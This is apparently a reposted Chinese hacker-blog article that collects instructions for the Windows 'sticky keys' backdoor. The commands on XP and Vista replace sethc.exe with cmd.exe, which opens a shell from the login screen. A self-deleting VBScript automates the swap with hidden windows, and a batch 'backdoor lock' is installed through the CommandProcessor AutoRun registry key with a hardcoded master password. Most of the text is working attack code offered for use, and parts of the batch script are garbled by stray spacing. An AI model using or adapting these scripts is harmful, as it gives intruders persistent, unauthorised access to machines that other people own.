最酷的windows后门 呵呵

后门原理:

转至:小章 blog http://blog.csdn.net/scz123/archive/2007/03/14/1528695.aspx

在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。

参考McafeeAvertLabs:
http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/

XP:
将安装源光盘弹出(或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe

VISTA:
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替换文件

在登录界面按5此SHIFT,出来cmd shell,然后……

后门扩展:

转至:7j blog http://1v1.name/show-241-1.html#cm300

再更新一下
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

第二句最有意思了.嘿嘿..自运应答....以前就遇到过类似的问题

再更新.加个自删除,简化代码...
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

后门锁扩展:

allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证 嘿嘿。。。

用下面的后门锁的方法是 把代码保存为bdlock.bat

然后修改注册表位置即可

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CommandProcessor]
"AutoRun"="bdlock.bat"

@Echo Off
title后门登陆验证
colora
cls
set temprandom = %RANDOM%
echo 请输入验证码:%temprandom%
set / pcheck =
if " %check% " == " %temprandom%%temprandom% " goto passcheck
if " %check% " == " %temprandom% " (
rem 后门服务器验证
rem
如果没有后门验证服务器请rem注释掉下一行代码
if exist \ 192.168 . 8.8\ backdoor $\ pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If " %passcmdlock% " == " http://blog.csdn.net/freexploit/ " Goto endx
Set passcmdlock = http: // blog . csdn . net / freexploit /
:allyesno
Set Errorlevel => nul
Echo 请输入验证密码?
Set password = allyesnoIsapig > nul
Set / ppassword =
rem万能密码
if " %password% " == " allyesnoisasb " goto endx
If % time :~ 1 , 1 % == 0 Set timechange = a
If % time :~ 1 , 1 % == 1 Set timechange = b
If % time :~ 1 , 1 % == 2 Set timechange = c
If % time :~ 1 , 1 % == 3 Set timechange = d
If % time :~ 1 , 1 % == 4 Set timechange = e
If % time :~ 1 , 1 % == 5 Set timechange = f
If % time :~ 1 , 1 % == 6 Set timechange = g
If % time :~ 1 , 1 % == 7 Set timechange = h
If % time :~ 1 , 1 % == 8 Set timechange = i
If % time :~ 1 , 1 % == 9 Set timechange = j
set / asum = % time :~ 1 , 1 % + % time :~ 1 , 1 %
Set password|findstr " ^password=%timechange%%time:~1,1%%date:~8,2%%sum%$ " > nul
If " %errorlevel% " == " 0 " cls & Echo 口令正确& Goto End
Echo 请联系瑞星客服咨询正确密码!& Goto allyesno
:End
Set password => nul
Set Errorlevel => nul
Echo 很好,很和谐!
:endx

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